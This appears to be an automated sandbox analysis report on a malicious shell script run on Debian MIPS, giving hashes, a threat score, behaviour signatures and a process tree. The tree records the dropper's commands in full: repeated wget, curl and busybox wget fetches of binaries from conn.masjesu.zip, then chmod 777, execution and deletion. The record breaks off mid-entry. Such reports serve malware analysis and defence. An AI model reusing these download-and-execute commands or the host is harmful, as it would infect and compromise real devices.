e41d067cea0a1e169a04fcad5054a76bb1493cbef78419ee480a1340371ec98c

Analysis

max time kernel
102s
max time network
105s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
02/11/2024, 12:52

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
e41d067cea0a1e169a04fcad5054a76bb1493cbef78419ee480a1340371ec98c.sh
Size 10KB
Sample241102-p39m6stqds
SHA256 e41d067cea0a1e169a04fcad5054a76bb1493cbef78419ee480a1340371ec98c
MD5 9b6ddb6f517dd06e39f201ddc832bc09
SHA1 cd19768c7e3f3fe5fad99fb7787a725b552e73f5
SHA512 4fbe0af559fc47ada4c9ca6fa21c63353fa4e0bb00423398ed6b67f590a2cb0f3be1d53f226b9a40c3d258dc644fa02e32e19be137be39e93937b5f01283b735
SSDEEP 192:ibDbrbCbtbJbbIoLiuiNtvB7GImkbDbrbCbtbJbVIoLiufHhR:ivv2BVYtZ7GImkvv2BVJb
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
811	chmod
901	chmod
909	chmod
838	chmod
862	chmod
894	chmod
960	chmod
975	chmod
1020	chmod
740	chmod
801	chmod
870	chmod
917	chmod
953	chmod
998	chmod
1005	chmod
1013	chmod
968	chmod
983	chmod
990	chmod
855	chmod
886	chmod
932	chmod
939	chmod
946	chmod
925	chmod
755	chmod
878	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 64 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
997	busybox
843	wget
893	busybox
974	busybox
986	wget
967	busybox
979	wget
726	curl
859	curl
945	busybox
952	busybox
850	curl
875	curl
896	rm
905	wget
739	busybox
744	wget
773	busybox
805	curl
908	busybox
913	wget
922	curl
1017	curl
895	DHeCl0jp23IPRqB86yPPLgFGrJcOMSr1SB
900	busybox
972	curl
994	wget
753	busybox
867	curl
869	busybox
891	curl
995	curl
1000	rm
924	busybox
1004	busybox
1009	wget
760	wget
817	wget
885	busybox
916	busybox
1001	wget
1010	curl
765	curl
898	curl
964	wget
987	curl
1002	curl
938	busybox
959	busybox
1019	busybox
956	wget
957	curl
999	DHeCl0jp23IPRqB86yPPLgFGrJcOMSr1SB
874	wget
877	busybox
935	wget
942	wget
971	wget
989	busybox
810	busybox
823	curl
834	busybox
861	busybox
1016	wget

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/sqpAhyOZFgOJKcZfaDkKMtNYuAk1xklhQE	curl
File opened for modification	/tmp/i58c2mnqKhgOVBRt3NTRpRHoo6LKfUXiGT	curl
File opened for modification	/tmp/8P1o4wD69yrT08mQjtYS7t83kKml0VYbDW	curl
File opened for modification	/tmp/wdGh19ZzISooPUTsZl1zT6DFD5YYNBhHXY	curl
File opened for modification	/tmp/aFU9CoDUJADA3utjnigQjGsmY40ZrxZMnJ	curl
File opened for modification	/tmp/RRCzpeYokgwuqVYg6Kn10tGLQXQ2qNzizT	curl
File opened for modification	/tmp/wdGh19ZzISooPUTsZl1zT6DFD5YYNBhHXY	curl
File opened for modification	/tmp/UYUrGw9Dv7SjntF19Dg1JL7lxNMr4XKVEf	curl
File opened for modification	/tmp/DHeCl0jp23IPRqB86yPPLgFGrJcOMSr1SB	curl
File opened for modification	/tmp/vVK0Jg4czP8IJQrsbzk6icJ870QkjPl8IA	curl
File opened for modification	/tmp/i58c2mnqKhgOVBRt3NTRpRHoo6LKfUXiGT	curl
File opened for modification	/tmp/8P1o4wD69yrT08mQjtYS7t83kKml0VYbDW	curl
File opened for modification	/tmp/tgzwJfG2bu2H47653RL9c7l8MtQGxKE2qp	curl
File opened for modification	/tmp/HkmFnWajjeVaRQ3K4zMu0GG0E8OR7mYmvj	curl
File opened for modification	/tmp/sqpAhyOZFgOJKcZfaDkKMtNYuAk1xklhQE	curl
File opened for modification	/tmp/UYUrGw9Dv7SjntF19Dg1JL7lxNMr4XKVEf	curl
File opened for modification	/tmp/84VMcRRm8KlcnZAcp4lWWQpCh7sBJNC26Y	curl
File opened for modification	/tmp/dHC4wAZSqcU5IUEDWm8kB53YpJcNjW11ac	curl
File opened for modification	/tmp/RRCzpeYokgwuqVYg6Kn10tGLQXQ2qNzizT	curl
File opened for modification	/tmp/vVK0Jg4czP8IJQrsbzk6icJ870QkjPl8IA	curl
File opened for modification	/tmp/dHC4wAZSqcU5IUEDWm8kB53YpJcNjW11ac	curl
File opened for modification	/tmp/tgzwJfG2bu2H47653RL9c7l8MtQGxKE2qp	curl
File opened for modification	/tmp/HkmFnWajjeVaRQ3K4zMu0GG0E8OR7mYmvj	curl
File opened for modification	/tmp/84VMcRRm8KlcnZAcp4lWWQpCh7sBJNC26Y	curl
File opened for modification	/tmp/wZ7PHzWyuI3jYCUlWcQaBqL563Qnz7xfQ7	curl
File opened for modification	/tmp/DHeCl0jp23IPRqB86yPPLgFGrJcOMSr1SB	curl
File opened for modification	/tmp/wZ7PHzWyuI3jYCUlWcQaBqL563Qnz7xfQ7	curl
File opened for modification	/tmp/aFU9CoDUJADA3utjnigQjGsmY40ZrxZMnJ	curl

/tmp/e41d067cea0a1e169a04fcad5054a76bb1493cbef78419ee480a1340371ec98c.sh
/tmp/e41d067cea0a1e169a04fcad5054a76bb1493cbef78419ee480a1340371ec98c.sh
1⤵
PID:707
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:713
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/RRCzpeYokgwuqVYg6Kn10tGLQXQ2qNzizT
  2⤵
  PID:716
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/RRCzpeYokgwuqVYg6Kn10tGLQXQ2qNzizT
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:726
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/RRCzpeYokgwuqVYg6Kn10tGLQXQ2qNzizT
  2⤵
  - System Network Configuration Discovery
  PID:739
- /bin/chmod
  chmod 777 RRCzpeYokgwuqVYg6Kn10tGLQXQ2qNzizT
  2⤵
  - File and Directory Permissions Modification
  PID:740
- /tmp/RRCzpeYokgwuqVYg6Kn10tGLQXQ2qNzizT
  ./RRCzpeYokgwuqVYg6Kn10tGLQXQ2qNzizT
  2⤵
  - Executes dropped EXE
  PID:741
- /bin/rm
  rm RRCzpeYokgwuqVYg6Kn10tGLQXQ2qNzizT
  2⤵
  PID:743
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/8P1o4wD69yrT08mQjtYS7t83kKml0VYbDW
  2⤵
  - System Network Configuration Discovery
  PID:744
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/8P1o4wD69yrT08mQjtYS7t83kKml0VYbDW
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:745
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/8P1o4wD69yrT08mQjtYS7t83kKml0VYbDW
  2⤵
  - System Network Configuration Discovery
  PID:753
- /bin/chmod
  chmod 777 8P1o4wD69yrT08mQjtYS7t83kKml0VYbDW
  2⤵
  - File and Directory Permissions Modification
  PID:755
- /tmp/8P1o4wD69yrT08mQjtYS7t83kKml0VYbDW
  ./8P1o4wD69yrT08mQjtYS7t83kKml0VYbDW
  2⤵
  - Executes dropped EXE
  PID:757
- /bin/rm
  rm 8P1o4wD69yrT08mQjtYS7t83kKml0VYbDW
  2⤵
  PID:759
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/wdGh19ZzISooPUTsZl1zT6DFD5YYNBhHXY
  2⤵
  - System Network Configuration Discovery
  PID:760
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/wdGh19ZzISooPUTsZl1zT6DFD5YYNBhHXY
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:765
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/wdGh19ZzISooPUTsZl1zT6DFD5YYNBhHXY
  2⤵
  - System Network Configuration Discovery
  PID:773
- /bin/chmod
  chmod 777 wdGh19ZzISooPUTsZl1zT6DFD5YYNBhHXY
  2⤵
  - File and Directory Permissions Modification
  PID:801
- /tmp/wdGh19ZzISooPUTsZl1zT6DFD5YYNBhHXY
  ./wdGh19ZzISooPUTsZl1zT6DFD5YYNBhHXY
  2⤵
  - Executes dropped EXE
  PID:802
- /bin/rm
  rm wdGh19ZzISooPUTsZl1zT6DFD5YYNBhHXY
  2⤵
  PID:803
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/vVK0Jg4czP8IJQrsbzk6icJ870QkjPl8IA
  2⤵
  PID:804
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/vVK0Jg4czP8IJQrsbzk6icJ870QkjPl8IA
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:805
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/vVK0Jg4czP8IJQrsbzk6icJ870QkjPl8IA
  2⤵
  - System Network Configuration Discovery
  PID:810
- /bin/chmod
  chmod 777 vVK0Jg4czP8IJQrsbzk6icJ870QkjPl8IA
  2⤵
  - File and Directory Permissions Modification
  PID:811
- /tmp/vVK0Jg4czP8IJQrsbzk6icJ870QkjPl8IA
  ./vVK0Jg4czP8IJQrsbzk6icJ870QkjPl8IA
  2⤵
  - Executes dropped EXE
  PID:812
- /bin/rm
  rm vVK0Jg4czP8IJQrsbzk6icJ870QkjPl8IA
  2⤵
  PID:816
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/aFU9CoDUJADA3utjnigQjGsmY40ZrxZMnJ
  2⤵
  - System Network Configuration Discovery
  PID:817
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/aFU9CoDUJADA3utjnigQjGsmY40ZrxZMnJ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:823
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/aFU9CoDUJADA3utjnigQjGsmY40ZrxZMnJ
  2⤵
  - System Network Configuration Discovery
  PID:834
- /bin/chmod
  chmod 777 aFU9CoDUJADA3utjnigQjGsmY40ZrxZMnJ
  2⤵
  - File and Directory Permissions Modification
  PID:838
- /tmp/aFU9CoDUJADA3utjnigQjGsmY40ZrxZMnJ
  ./aFU9CoDUJADA3utjnigQjGsmY40ZrxZMnJ
  2⤵
  - Executes dropped EXE
  PID:839
- /bin/rm
  rm aFU9CoDUJADA3utjnigQjGsmY40ZrxZMnJ
  2⤵
  PID:842
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/UYUrGw9Dv7SjntF19Dg1JL7lxNMr4XKVEf
  2⤵
  - System Network Configuration Discovery
  PID:843
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/UYUrGw9Dv7SjntF19Dg1JL7lxNMr4XKVEf
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:850
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/UYUrGw9Dv7SjntF19Dg1JL7lxNMr4XKVEf
  2⤵
  PID:854
- /bin/chmod
  chmod 777 UYUrGw9Dv7SjntF19Dg1JL7lxNMr4XKVEf
  2⤵
  - File and Directory Permissions Modification
  PID:855
- /tmp/UYUrGw9Dv7SjntF19Dg1JL7lxNMr4XKVEf
  ./UYUrGw9Dv7SjntF19Dg1JL7lxNMr4XKVEf
  2⤵
  - Executes dropped EXE
  PID:856
- /bin/rm
  rm UYUrGw9Dv7SjntF19Dg1JL7lxNMr4XKVEf
  2⤵
  PID:857
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/wZ7PHzWyuI3jYCUlWcQaBqL563Qnz7xfQ7
  2⤵
  PID:858
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/wZ7PHzWyuI3jYCUlWcQaBqL563Qnz7xfQ7
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:859
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/wZ7PHzWyuI3jYCUlWcQaBqL563Qnz7xfQ7
  2⤵
  - System Network Configuration Discovery
  PID:861
- /bin/chmod
  chmod 777 wZ7PHzWyuI3jYCUlWcQaBqL563Qnz7xfQ7
  2⤵
  - File and Directory Permissions Modification
  PID:862
- /tmp/wZ7PHzWyuI3jYCUlWcQaBqL563Qnz7xfQ7
  ./wZ7PHzWyuI3jYCUlWcQaBqL563Qnz7xfQ7
  2⤵
  - Executes dropped EXE
  PID:863
- /bin/rm
  rm wZ7PHzWyuI3jYCUlWcQaBqL563Qnz7xfQ7
  2⤵
  PID:865
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/84VMcRRm8KlcnZAcp4lWWQpCh7sBJNC26Y
  2⤵
  PID:866
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/84VMcRRm8KlcnZAcp4lWWQpCh7sBJNC26Y
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:867
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/84VMcRRm8KlcnZAcp4lWWQpCh7sBJNC26Y
  2⤵
  - System Network Configuration Discovery
  PID:869
- /bin/chmod
  chmod 777 84VMcRRm8KlcnZAcp4lWWQpCh7sBJNC26Y
  2⤵
  - File and Directory Permissions Modification
  PID:870
- /tmp/84VMcRRm8KlcnZAcp4lWWQpCh7sBJNC26Y
  ./84VMcRRm8KlcnZAcp4lWWQpCh7sBJNC26Y
  2⤵
  - Executes dropped EXE
  PID:871
- /bin/rm
  rm 84VMcRRm8KlcnZAcp4lWWQpCh7sBJNC26Y
  2⤵
  PID:873
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/dHC4wAZSqcU5IUEDWm8kB53YpJcNjW11ac
  2⤵
  - System Network Configuration Discovery
  PID:874
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/dHC4wAZSqcU5IUEDWm8kB53YpJcNjW11ac
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:875
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/dHC4wAZSqcU5IUEDWm8kB53YpJcNjW11ac
  2⤵
  - System Network Configuration Discovery
  PID:877
- /bin/chmod
  chmod 777 dHC4wAZSqcU5IUEDWm8kB53YpJcNjW11ac
  2⤵
  - File and Directory Permissions Modification
  PID:878
- /tmp/dHC4wAZSqcU5IUEDWm8kB53YpJcNjW11ac
  ./dHC4wAZSqcU5IUEDWm8kB53YpJcNjW11ac
  2⤵
  - Executes dropped EXE
  PID:879
- /bin/rm
  rm dHC4wAZSqcU5IUEDWm8kB53YpJcNjW11ac
  2⤵
  PID:881
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/tgzwJfG2bu2H47653RL9c7l8MtQGxKE2qp
  2⤵
  PID:882
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/tgzwJfG2bu2H47653RL9c7l8MtQGxKE2qp
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:883
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/tgzwJfG2bu2H47653RL9c7l8MtQGxKE2qp
  2⤵
  - System Network Configuration Discovery
  PID:885
- /bin/chmod
  chmod 777 tgzwJfG2bu2H47653RL9c7l8MtQGxKE2qp
  2⤵
  - File and Directory Permissions Modification
  PID:886
- /tmp/tgzwJfG2bu2H47653RL9c7l8MtQGxKE2qp
  ./tgzwJfG2bu2H47653RL9c7l8MtQGxKE2qp
  2⤵
  - Executes dropped EXE
  PID:887
- /bin/rm
  rm tgzwJfG2bu2H47653RL9c7l8MtQGxKE2qp
  2⤵
  PID:889
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/DHeCl0jp23IPRqB86yPPLgFGrJcOMSr1SB
  2⤵
  PID:890
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/DHeCl0jp23IPRqB86yPPLgFGrJcOMSr1SB
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:891
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/DHeCl0jp23IPRqB86yPPLgFGrJcOMSr1SB
  2⤵
  - System Network Configuration Discovery
  PID:893
- /bin/chmod
  chmod 777 DHeCl0jp23IPRqB86yPPLgFGrJcOMSr1SB
  2⤵
  - File and Directory Permissions Modification
  PID:894
- /tmp/DHeCl0jp23IPRqB86yPPLgFGrJcOMSr1SB
  ./DHeCl0jp23IPRqB86yPPLgFGrJcOMSr1SB
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:895
- /bin/rm
  rm DHeCl0jp23IPRqB86yPPLgFGrJcOMSr1SB
  2⤵
  - System Network Configuration Discovery
  PID:896
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/HkmFnWajjeVaRQ3K4zMu0GG0E8OR7mYmvj
  2⤵
  PID:897
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/HkmFnWajjeVaRQ3K4zMu0GG0E8OR7mYmvj
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:898
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/HkmFnWajjeVaRQ3K4zMu0GG0E8OR7mYmvj
  2⤵
  - System Network Configuration Discovery
  PID:900
- /bin/chmod
  chmod 777 HkmFnWajjeVaRQ3K4zMu0GG0E8OR7mYmvj
  2⤵
  - File and Directory Permissions Modification
  PID:901
- /tmp/HkmFnWajjeVaRQ3K4zMu0GG0E8OR7mYmvj
  ./HkmFnWajjeVaRQ3K4zMu0GG0E8OR7mYmvj
  2⤵
  - Executes dropped EXE
  PID:902
- /bin/rm
  rm HkmFnWajjeVaRQ3K4zMu0GG0E8OR7mYmvj
  2⤵
  PID:904
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/i58c2mnqKhgOVBRt3NTRpRHoo6LKfUXiGT
  2⤵
  - System Network Configuration Discovery
  PID:905
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/i58c2mnqKhgOVBRt3NTRpRHoo6LKfUXiGT
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:906
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/i58c2mnqKhgOVBRt3NTRpRHoo6LKfUXiGT
  2⤵
  - System Network Configuration Discovery
  PID:908
- /bin/chmod
  chmod 777 i58c2mnqKhgOVBRt3NTRpRHoo6LKfUXiGT
  2⤵
  - File and Directory Permissions Modification
  PID:909
- /tmp/i58c2mnqKhgOVBRt3NTRpRHoo6LKfUXiGT
  ./i58c2mnqKhgOVBRt3NTRpRHoo6LKfUXiGT
  2⤵
  - Executes dropped EXE
  PID:910
- /bin/rm
  rm i58c2mnqKhgOVBRt3NTRpRHoo6LKfUXiGT
  2⤵
  PID:912
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/sqpAhyOZFgOJKcZfaDkKMtNYuAk1xklhQE
  2⤵
  - System Network Configuration Discovery
  PID:913
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/sqpAhyOZFgOJKcZfaDkKMtNYuAk1xklhQE
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:914
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/sqpAhyOZFgOJKcZfaDkKMtNYuAk1xklhQE
  2⤵
  - System Network Configuration Discovery
  PID:916
- /bin/chmod
  chmod 777 sqpAhyOZFgOJKcZfaDkKMtNYuAk1xklhQE
  2⤵
  - File and Directory Permissions Modification
  PID:917
- /tmp/sqpAhyOZFgOJKcZfaDkKMtNYuAk1xklhQE
  ./sqpAhyOZFgOJKcZfaDkKMtNYuAk1xklhQE
  2⤵
  - Executes dropped EXE
  PID:918
- /bin/rm
  rm sqpAhyOZFgOJKcZfaDkKMtNYuAk1xklhQE
  2⤵
  PID:920
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/RRCzpeYokgwuqVYg6Kn10tGLQXQ2qNzizT
  2⤵
  PID:921
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/RRCzpeYokgwuqVYg6Kn10tGLQXQ2qNzizT
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:922
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/RRCzpeYokgwuqVYg6Kn10tGLQXQ2qNzizT
  2⤵
  - System Network Configuration Discovery
  PID:924
- /bin/chmod
  chmod 777 RRCzpeYokgwuqVYg6Kn10tGLQXQ2qNzizT
  2⤵
  - File and Directory Permissions Modification
  PID:925
- /tmp/RRCzpeYokgwuqVYg6Kn10tGLQXQ2qNzizT
  ./RRCzpeYokgwuqVYg6Kn10tGLQXQ2qNzizT
  2⤵
  - Executes dropped EXE
  PID:926
- /bin/rm
  rm RRCzpeYokgwuqVYg6Kn10tGLQXQ2qNzizT
  2⤵
  PID:927
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/8P1o4wD69yrT08mQjtYS7t83kKml0VYbDW
  2⤵
  PID:928
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/8P1o4wD69yrT08mQjtYS7t83kKml0VYbDW
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:929
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/8P1o4wD69yrT08mQjtYS7t83kKml0VYbDW
  2⤵
  PID:931
- /bin/chmod
  chmod 777 8P1o4wD69yrT08mQjtYS7t83kKml0VYbDW
  2⤵
  - File and Directory Permissions Modification
  PID:932
- /tmp/8P1o4wD69yrT08mQjtYS7t83kKml0VYbDW
  ./8P1o4wD69yrT08mQjtYS7t83kKml0VYbDW
  2⤵
  - Executes dropped EXE
  PID:933
- /bin/rm
  rm 8P1o4wD69yrT08mQjtYS7t83kKml0VYbDW
  2⤵
  PID:934
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/wdGh19ZzISooPUTsZl1zT6DFD5YYNBhHXY
  2⤵
  - System Network Configuration Discovery
  PID:935
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/wdGh19ZzISooPUTsZl1zT6DFD5YYNBhHXY
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:936
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/wdGh19ZzISooPUTsZl1zT6DFD5YYNBhHXY
  2⤵
  - System Network Configuration Discovery
  PID:938
- /bin/chmod
  chmod 777 wdGh19ZzISooPUTsZl1zT6DFD5YYNBhHXY
  2⤵
  - File and Directory Permissions Modification
  PID:939
- /tmp/wdGh19ZzISooPUTsZl1zT6DFD5YYNBhHXY
  ./wdGh19ZzISooPUTsZl1zT6DFD5YYNBhHXY
  2⤵
  - Executes dropped EXE
  PID:940
- /bin/rm
  rm wdGh19ZzISooPUTsZl1zT6DFD5YYNBhHXY
  2⤵
  PID:941
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/vVK0Jg4czP8IJQrsbzk6icJ870QkjPl8IA
  2⤵
  - System Network Configuration Discovery
  PID:942
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/vVK0Jg4czP8IJQrsbzk6icJ870QkjPl8IA
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:943
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/vVK0Jg4czP8IJQrsbzk6icJ870QkjPl8IA
  2⤵
  - System Network Configuration Discovery
  PID:945
- /bin/chmod
  chmod 777 vVK0Jg4czP8IJQrsbzk6icJ870QkjPl8IA
  2⤵
  - File and Directory Permissions Modification
  PID:946
- /tmp/vVK0Jg4czP8IJQrsbzk6icJ870QkjPl8IA
  ./vVK0Jg4czP8IJQrsbzk6icJ870QkjPl8IA
  2⤵
  - Executes dropped EXE
  PID:947
- /bin/rm
  rm vVK0Jg4czP8IJQrsbzk6icJ870QkjPl8IA
  2⤵
  PID:948
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/UYUrGw9Dv7SjntF19Dg1JL7lxNMr4XKVEf
  2⤵
  PID:949
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/UYUrGw9Dv7SjntF19Dg1JL7lxNMr4XKVEf
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:950
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/UYUrGw9Dv7SjntF19Dg1JL7lxNMr4XKVEf
  2⤵
  - System Network Configuration Discovery
  PID:952
- /bin/chmod
  chmod 777 UYUrGw9Dv7SjntF19Dg1JL7lxNMr4XKVEf
  2⤵
  - File and Directory Permissions Modification
  PID:953
- /tmp/UYUrGw9Dv7SjntF19Dg1JL7lxNMr4XKVEf
  ./UYUrGw9Dv7SjntF19Dg1JL7lxNMr4XKVEf
  2⤵
  - Executes dropped EXE
  PID:954
- /bin/rm
  rm UYUrGw9Dv7SjntF19Dg1JL7lxNMr4XKVEf
  2⤵
  PID:955
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/wZ7PHzWyuI3jYCUlWcQaBqL563Qnz7xfQ7
  2⤵
  - System Network Configuration Discovery
  PID:956
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/wZ7PHzWyuI3jYCUlWcQaBqL563Qnz7xfQ7
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:957
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/wZ7PHzWyuI3jYCUlWcQaBqL563Qnz7xfQ7
  2⤵
  - System Network Configuration Discovery
  PID:959
- /bin/chmod
  chmod 777 wZ7PHzWyuI3jYCUlWcQaBqL563Qnz7xfQ7
  2⤵
  - File and Directory Permissions Modification
  PID:960
- /tmp/wZ7PHzWyuI3jYCUlWcQaBqL563Qnz7xfQ7
  ./wZ7PHzWyuI3jYCUlWcQaBqL563Qnz7xfQ7
  2⤵
  - Executes dropped EXE
  PID:961
- /bin/rm
  rm wZ7PHzWyuI3jYCUlWcQaBqL563Qnz7xfQ7
  2⤵
  PID:963
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/84VMcRRm8KlcnZAcp4lWWQpCh7sBJNC26Y
  2⤵
  - System Network Configuration Discovery
  PID:964
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/84VMcRRm8KlcnZAcp4lWWQpCh7sBJNC26Y
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:965
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/84VMcRRm8KlcnZAcp4lWWQpCh7sBJNC26Y
  2⤵
  - System Network Configuration Discovery
  PID:967
- /bin/chmod
  chmod 777 84VMcRRm8KlcnZAcp4lWWQpCh7sBJNC26Y
  2⤵
  - File and Directory Permissions Modification
  PID:968
- /tmp/84VMcRRm8KlcnZAcp4lWWQpCh7sBJNC26Y
  ./84VMcRRm8KlcnZAcp4lWWQpCh7sBJNC26Y
  2⤵
  - Executes dropped EXE
  PID:969
- /bin/rm
  rm 84VMcRRm8KlcnZAcp4lWWQpCh7sBJNC26Y
  2⤵
  PID:970
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/dHC4wAZSqcU5IUEDWm8kB53YpJcNjW11ac
  2⤵
  - System Network Configuration Discovery
  PID:971
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/dHC4wAZSqcU5IUEDWm8kB53YpJcNjW11ac
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:972
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/dHC4wAZSqcU5IUEDWm8kB53YpJcNjW11ac
  2⤵
  - System Network Configuration Discovery
  PID:974
- /bin/chmod
